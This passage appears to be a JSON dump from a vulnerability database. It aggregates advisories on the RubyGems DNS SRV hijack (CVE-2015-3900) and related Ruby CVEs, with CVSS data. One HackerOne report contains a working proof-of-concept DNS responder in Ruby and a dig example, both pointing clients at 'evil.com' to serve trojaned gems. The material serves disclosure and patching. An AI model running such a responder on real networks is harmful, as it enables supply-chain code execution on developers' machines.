"userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2018-06-12T21:28:16", "id": "RHSA-2015:1657", "href": "https://access.redhat.com/errata/RHSA-2015:1657", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "hackerone": [{"lastseen": "2023-09-03T23:36:50", "bounty": 0.0, "description": "https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356", "cvss3": {}, "published": "2015-05-06T00:00:00", "type": "hackerone", "title": "RubyGems: Request Hijacking Vulnerability In RubyGems 2.4.6 And Earlier", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-05-14T00:00:00", "id": "H1:103993", "href": "https://hackerone.com/reports/103993", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-03T22:02:33", "bounty": 0.0, "description": "**Description:**\n\nThe RubyGems client supports a gem server API discovery functionality,\nwhich is used when pushing or pulling gems to a gem distribution/hosting\nserver, like RubyGems.org. This functionality is provided via a SRV DNS\nrequest to the users gem source hostname prepended with \"_rubygems._tcp.\".\nThe response to this request tells the RubyGems client (aka: the gem\ncommand) where the users gem server API is. In the default RubyGems\nscenario, with a gem source of https://rubygems.org, the users SRV DNS\nrequest and reply will look like this:\n\n ~ $ dig srv _rubygems._tcp.rubygems.org +short\n 0 1 80 api.rubygems.org.\n\nDue to a deficiency in DNS response verification, a MiTM positioned \nattacker can poison the DNS response to this record response and force\nthe client to unknowingly download and install Ruby gems from an attacker\ncontrolled gem server in an alternate security domain. An example of\nsuch a scenario would look like so:\n\n ~ $ dig _rubygems._tcp.rubygems.org SRV +short\n 0 0 53 evil.com/api.rubygems.com.\n\nIn such a scenario, the attacker is able to serve the client malicious gem\ncontent, resulting in trivial remote code execution scenarios. For\nexample, the attacker could simply modify the gem source code and trigger\ncode execution via the extensions API at install time on the client machine\n(a gem trojaning technique described by Ben Smith in his \"Hacking with\nGems\" presentation at Aloha Ruby Conference in 2012 -\nhttps://www.youtube.com/watch?v=z-5bO0Q1J9s)/\n\nThis vulnerability has the same net effect/impact as [CVE-2015-3900](https://nvd.nist.gov/vuln/detail/CVE-2015-3900) and\n[CVE-2015-4020](https://nvd.nist.gov/vuln/detail/CVE-2015-4020).\n\n**Affected method in Gem::RemoteFetcher:**\n\nhttps://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119\n\n**PoC DNS SRV Responder:**\n\n #!/usr/bin/env ruby\n require 'rubydns'\n require 'rubydns/system'\n INTERFACES = [\n \t[:udp, \"0.0.0.0\", 53],\n \t[:tcp, \"0.0.0.0\", 53]\n ]\n Name = Resolv::DNS::Name\n IN = Resolv::DNS::Resource::IN\t\n RubyDNS::run_server(:listen => INTERFACES) do\n match(//, IN::SRV) do |transaction|\n transaction.respond!(0,0,53,\"evil.com/api.rubygems.com\")\n end\n end\n\n**Recommendations:**\n\nConsider this small patch to address the immediate attack vector...\n\n - if /\\.#{Regexp.quote(host)}\\z/ =~ target\n + if (/\\.#{Regexp.quote(host)}\\z/ =~ target) && !target.include?(\"/\")\n\nAlso, consider moving away from doing API discovery via DNS. Would recommend \nmoving to HTTPS, where you will have a stronger transport security chain.\n\n**References (these are not new, just references prior work here to help triage team understand impact):**\n\n- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356\n- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478\n- https://speakerdeck.com/claudijd/trojaned-gems-you-cant-tell-youre-using-one\n- http://blog.rubygems.org/2015/05/14/CVE-2015-3900.html", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-04-02T17:31:05", "type": "hackerone", "title": "RubyGems: Request Hijacking Vulnerability in RubyGems 2.6.11 and earlier", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020", "CVE-2017-0902"], "modified": "2017-08-30T23:36:42", "id": "H1:218088", "href": "https://hackerone.com/reports/218088", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2023-08-25T22:51:00", "description": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"", "cvss3": {}, "published": "2022-05-14T01:08:49", "type": "osv", "title": "RubyGems vulnerable to DNS hijack attack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2023-08-25T22:50:12", "id": "OSV:GHSA-WP3J-RVFP-624H", "href": "https://osv.dev/vulnerability/GHSA-wp3j-rvfp-624h", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-05-04T21:41:09", "description": "RubyGems 2.0.x before 2.0.17, 2.2.x before 2.2.5, and 2.3.x before 2.4.8 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record with a domain that is suffixed with the original domain name, aka a \"DNS hijack attack.\"\n\nNOTE: this vulnerability exists because of an incomplete fix for CVE-2015-3900.", "cvss3": {}, "published": "2022-05-17T00:16:50", "type": "osv", "title": "RubyGems Improper Input Validation vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2023-05-04T21:41:05", "id": "OSV:GHSA-QV62-XFJ6-32XM", "href": "https://osv.dev/vulnerability/GHSA-qv62-xfj6-32xm", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-06-28T06:20:49", "description": "\nSeveral vulnerabilities were discovered in Ruby 2.1.\n\n\n* [CVE-2016-2337](https://security-tracker.debian.org/tracker/CVE-2016-2337)\nType confusion exists in \\_cancel\\_eval Ruby's TclTkIp class\n method. Attacker passing different type of object than String as\n retval argument can cause arbitrary code execution.\n* [CVE-2018-1000073](https://security-tracker.debian.org/tracker/CVE-2018-1000073)\nRubyGems contains a Directory Traversal vulnerability in\n install\\_location function of package.rb that can result in path\n traversal when writing to a symlinked basedir outside of the root.\n* [CVE-2018-1000074](https://security-tracker.debian.org/tracker/CVE-2018-1000074)\nRubyGems contains a Deserialization of Untrusted Data\n vulnerability in owner command that can result in code\n execution. This attack appear to be exploitable via victim must\n run the gem owner command on a gem with a specially crafted YAML\n file.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u5.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-27T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2018-1000073", "CVE-2018-1000074"], "modified": "2023-06-28T06:20:44", "id": "OSV:DLA-1480-1", "href": "https://osv.dev/vulnerability/DLA-1480-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-28T06:20:46", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2015-9096](https://security-tracker.debian.org/tracker/CVE-2015-9096)\nSMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n* [CVE-2016-2339](https://security-tracker.debian.org/tracker/CVE-2016-2339)\nExploitable heap overflow in Fiddle::Function.new.\n* [CVE-2016-7798](https://security-tracker.debian.org/tracker/CVE-2016-7798)\nIncorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n* [CVE-2017-0898](https://security-tracker.debian.org/tracker/CVE-2017-0898)\nBuffer underrun vulnerability in Kernel.sprintf.\n* [CVE-2017-0899](https://security-tracker.debian.org/tracker/CVE-2017-0899)\nANSI escape sequence vulnerability in RubyGems.\n* [CVE-2017-0900](https://security-tracker.debian.org/tracker/CVE-2017-0900)\nDoS vulnerability in the RubyGems query command.\n* [CVE-2017-0901](https://security-tracker.debian.org/tracker/CVE-2017-0901)\ngem installer allowed a malicious gem to overwrite arbitrary files.\n* [CVE-2017-0902](https://security-tracker.debian.org/tracker/CVE-2017-0902)\nRubyGems DNS request hijacking vulnerability.\n* [CVE-2017-0903](https://security-tracker.debian.org/tracker/CVE-2017-0903)\nMax Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n* [CVE-2017-10784](https://security-tracker.debian.org/tracker/CVE-2017-10784)\nYusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n* [CVE-2017-14033](https://security-tracker.debian.org/tracker/CVE-2017-14033)\nasac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n* [CVE-2017-14064](https://security-tracker.debian.org/tracker/CVE-2017-14064)\nHeap memory disclosure in the JSON library.\n* [CVE-2017-17405](https://security-tracker.debian.org/tracker/CVE-2017-17405)\nA command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n* [CVE-2017-17790](https://security-tracker.debian.org/tracker/CVE-2017-17790)\nA command injection vulnerability in lib/resolv.rb's lazy\\_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n* [CVE-2018-1000075](https://security-tracker.debian.org/tracker/CVE-2018-1000075)\nA negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n* [CVE-2018-1000076](https://security-tracker.debian.org/tracker/CVE-2018-1000076)\nRubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n* [CVE-2018-1000077](https://security-tracker.debian.org/tracker/CVE-2018-1000077)\nAn improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n* [CVE-2018-1000078](https://security-tracker.debian.org/tracker/CVE-2018-1000078)\nCross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n* [CVE-2018-1000079](https://security-tracker.debian.org/tracker/CVE-2018-1000079)\nPath Traversal vulnerability during gem installation.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u4.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-07-14T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2023-06-28T06:20:41", "id": "OSV:DLA-1421-1", "href": "https://osv.dev/vulnerability/DLA-1421-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2018-10-06T22:56:42", "description": "RubyGems make life easier for developers to distribute software to users. A vulnerability in the Ruby package manager could make life easier for hackers to redirect victims to trouble.\n\nDisclosed today by researchers at Trustwave and OpenDNS, the vulnerability, CVE-2015-3900, enables an attacker to [redirect a RubyGem client](<https://www.trustwave.com/Resources/SpiderLabs-Blog/Attacking-Ruby-Gem-Security-with-CVE-2015-3900/>) to a gem server controlled by the attacker where additional malware or exploits can be executed.\n\nThe problem is noteworthy on several fronts. One in particular surfaces when clients using HTTPS can also be redirected, bypassing HTTPS verification on the original gem source.\n\n\u201cThis means that the attacker can force the user to install malicious/trojaned gems,\u201d researchers at Trustwave said.\n\nAdditional trouble was found via the RubyGems Gem Server Discovery feature that uses a DNS SRV request in order to find gem servers.\n\n\u201cThis functionality does not require that DNS replies come from the same security domain as the original gem source, allowing arbitrary redirection to attacker controlled gem servers,\u201d Trustwave said, adding that proof of concept Gem Trojaning service written by its researchers exploits the vulnerability and transparently turns a RubyGem into a Trojan as a user installs it.\n\nTrustwave, in collaboration with OpenDNS, estimates that more than a million software installations daily could be affected, extrapolating out to 438 million annually.\n\nRubyGems\u2019 maintainers have fixed the issue, but users must upgrade RubyGem clients in all Ruby environments to 2.4.8 or higher.\n\nThe breadth of those affected by the vulnerability is also going to give birth to debates over whether gems should be signed. Trustwave said that none of the top 10 gems are signed, and that [list](<https://rubygems.org/stats>) includes rake, rack, json and rails.\n\n\u201cRuby gem signing is an obvious mitigation strategy for the above mentioned transport security issues. However, gem signing is barely used in the Ruby gem ecosystem,\u201d Trustwave said. \u201cWe demonstrated that even if you are using signed gems, by using CVE-2015-3900, you must be using the HighSecurity trust policy or gems can still be trojaned in transit due to a signing downgrade attack.\u201d\n\nRubyGems are used in Ruby libraries and applications. It\u2019s a standard packaging format used by developers to build and distribute software. Once the vulnerability was patched, Trustwave said it identified an additional bypass that an attacker can use to redirect users to a domain that ends with the original security domain; Trustwave provided the example: attackercontrolledrubygems.org.\n\n\u201cThese issues affect the RubyGems client and any environment that embeds the RubyGems client. Ruby, JRuby, and Rubinuius have all been confirmed to embed the RubyGems client and are affected by CVE-2015-3900,\u201d Trustwave said. \u201cThe mechanism for updating to a fixed version of RubyGems also uses the same vulnerable functionality we\u2019re trying to protect.\u201d\n", "cvss3": {}, "published": "2015-06-23T09:55:51", "type": "threatpost", "title": "RubyGems Patches Serious Redirection Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-3900"], "modified": "2015-06-25T21:13:32", "id": "THREATPOST:47105F0F1A3DAF664EEDC82B887B86A7", "href": "https://threatpost.com/rubygems-patches-serious-redirection-vulnerability/113425/", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "veracode": [{"lastseen": "2023-04-18T13:58:03", "description": "ruby is vulnerable to man-in-the-middle attack. A flaw was found in a way rubygems verified the API endpoint hostname retrieved through a DNS SRV record. A man-in-the-middle attacker could use this flaw to force a client to download content from an untrusted domain.\n", "cvss3": {}, "published": "2019-01-15T09:07:12", "type": "veracode", "title": "Man-in-the-Middle (MitM)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2019-05-15T06:18:13", "id": "VERACODE:11752", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-11752/summary", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "github": [{"lastseen": "2023-09-17T01:09:24", "description": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"", "cvss3": {}, "published": "2022-05-14T01:08:49", "type": "github", "title": "RubyGems vulnerable to DNS hijack attack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2023-08-25T22:31:50", "id": "GHSA-WP3J-RVFP-624H", "href": "https://github.com/advisories/GHSA-wp3j-rvfp-624h", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-17T01:06:07", "description": "RubyGems 2.0.x before 2.0.17, 2.2.x before 2.2.5, and 2.3.x before 2.4.8 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record with a domain that is suffixed with the original domain name, aka a \"DNS hijack attack.\"\n\nNOTE: this vulnerability exists because of an incomplete fix for CVE-2015-3900.", "cvss3": {}, "published": "2022-05-17T00:16:50", "type": "github", "title": "RubyGems Improper Input Validation vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2023-05-04T21:14:41", "id": "GHSA-QV62-XFJ6-32XM", "href": "https://github.com/advisories/GHSA-qv62-xfj6-32xm", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "freebsd": [{"lastseen": "2023-09-21T20:59:02", "description": "\n\nJonathan Claudius reports:\n\nRubyGems provides the ability of a domain to direct clients to a\n\t separate host that is used to fetch gems and make API calls against.\n\t This mechanism is implemented via DNS, specifically a SRV record\n\t _rubygems._tcp under the original requested domain.\nRubyGems did not validate the hostname returned in the SRV record\n\t before sending requests to it. This left clients open to a DNS\n\t hijack attack, whereby an attacker could return a SRV of their\n\t choosing and get the client to use it.\n\n\n", "cvss3": {}, "published": "2015-05-14T00:00:00", "type": "freebsd", "title": "rubygems -- request hijacking vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-05-14T00:00:00", "id": "A0089E18-FC9E-11E4-BC58-001E67150279", "href": "https://vuxml.freebsd.org/freebsd/a0089e18-fc9e-11e4-bc58-001e67150279.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "ubuntu": [{"lastseen": "2023-09-18T02:58:45", "description": "## Releases\n\n * Ubuntu 17.04 \n * Ubuntu 16.04 ESM\n * Ubuntu 14.04 ESM\n\n## Packages\n\n * ruby1.9.1 \\- Object-oriented scripting language\n * ruby2.0 \\- Object-oriented scripting language\n * ruby2.3 \\- Object-oriented scripting language\n\nIt was discovered that Ruby DL::dlopen incorrectly handled opening \nlibraries. An attacker could possibly use this issue to open libraries with \ntainted names. This issue only applied to Ubuntu 14.04 LTS. (CVE-2009-5147)\n\nTony Arcieri, Jeffrey Walton, and Steffan Ullrich discovered that the Ruby \nOpenSSL extension incorrectly handled hostname wildcard matching. This \nissue only applied to Ubuntu 14.04 LTS. (CVE-2015-1855)\n\nChristian Hofstaedtler discovered that Ruby Fiddle::Handle incorrectly \nhandled certain crafted strings. An attacker could use this issue to cause \na denial of service, or possibly execute arbitrary code. This issue only \napplied to Ubuntu 14.04 LTS. (CVE-2015-7551)\n\nIt was discovered that Ruby Net::SMTP incorrectly handled CRLF sequences. A \nremote attacker could possibly use this issue to inject SMTP commands. \n(CVE-2015-9096)\n\nMarcin Noga discovered that Ruby incorrectly handled certain arguments in \na TclTkIp class method. An attacker could possibly use this issue to \nexecute arbitrary code. This issue only affected Ubuntu 14.04 LTS. \n(CVE-2016-2337)\n\nIt was discovered that Ruby Fiddle::Function.new incorrectly handled \ncertain arguments. An attacker could possibly use this issue to execute \narbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2016-2339)\n\nIt was discovered that Ruby incorrectly handled the initialization vector \n(IV) in GCM mode. An attacker could possibly use this issue to bypass \nencryption. (CVE-2016-7798)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-25T00:00:00", "type": "ubuntu", "title": "Ruby vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-5147", "CVE-2015-1855", "CVE-2015-7551", "CVE-2015-9096", "CVE-2016-2337", "CVE-2016-2339", "CVE-2016-7798"], "modified": "2017-07-25T00:00:00", "id": "USN-3365-1", "href": "https://ubuntu.com/security/notices/USN-3365-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rubygems": [{"lastseen": "2023-05-16T15:02:04", "description": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7\ndoes not validate the hostname when fetching gems or making API requests, which\nallows remote attackers to redirect requests to arbitrary domains via a crafted\nDNS SRV record, aka a \"DNS hijack attack.\" A flaw was found in a way rubygems verified\nthe API endpoint hostname retrieved through a DNS SRV record. A man-in-the-middle\nattacker could use this flaw to force a client to download content from an untrusted\ndomain.\n", "cvss3": {}, "published": "2015-05-14T00:00:00", "type": "rubygems", "title": "CVE-2015-3900 rubygems: DNS hijacking vulnerability in api_endpoint()", "bulletinFamily": "software", "cvss2": {}, "cvelist": 